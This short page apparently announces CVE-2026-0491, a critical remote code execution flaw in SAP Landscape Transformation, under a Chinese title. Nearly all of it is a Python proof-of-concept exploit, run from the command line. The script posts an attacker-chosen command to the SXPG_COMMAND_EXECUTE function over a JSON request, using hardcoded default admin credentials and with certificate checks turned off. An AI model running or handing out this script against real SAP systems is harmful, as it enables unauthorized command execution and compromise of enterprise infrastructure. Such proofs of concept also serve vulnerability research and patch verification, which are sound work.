CVE-2026-0491 SAP Landscape Transformation远程代码执行漏洞（严重）

import requests import sys # CVE-2026-0491 PoC # Target: SAP Landscape Transformation RFC Interface def exploit_rce(target_url, command): headers = { 'Content-Type': 'application/json', 'Authorization': 'Basic YWRtaW46cGFzc3dvcmQ=' # admin:password } payload = { 'method': 'SXPG_COMMAND_EXECUTE', 'params': { 'COMMANDNAME': command } } response = requests.post(target_url, json=payload, headers=headers, verify=False) return response.text if __name__ == '__main__': if len(sys.argv) != 3: print('Usage: python cve-2026-0491.py <target_url> <command>') sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] result = exploit_rce(target, cmd) print(result)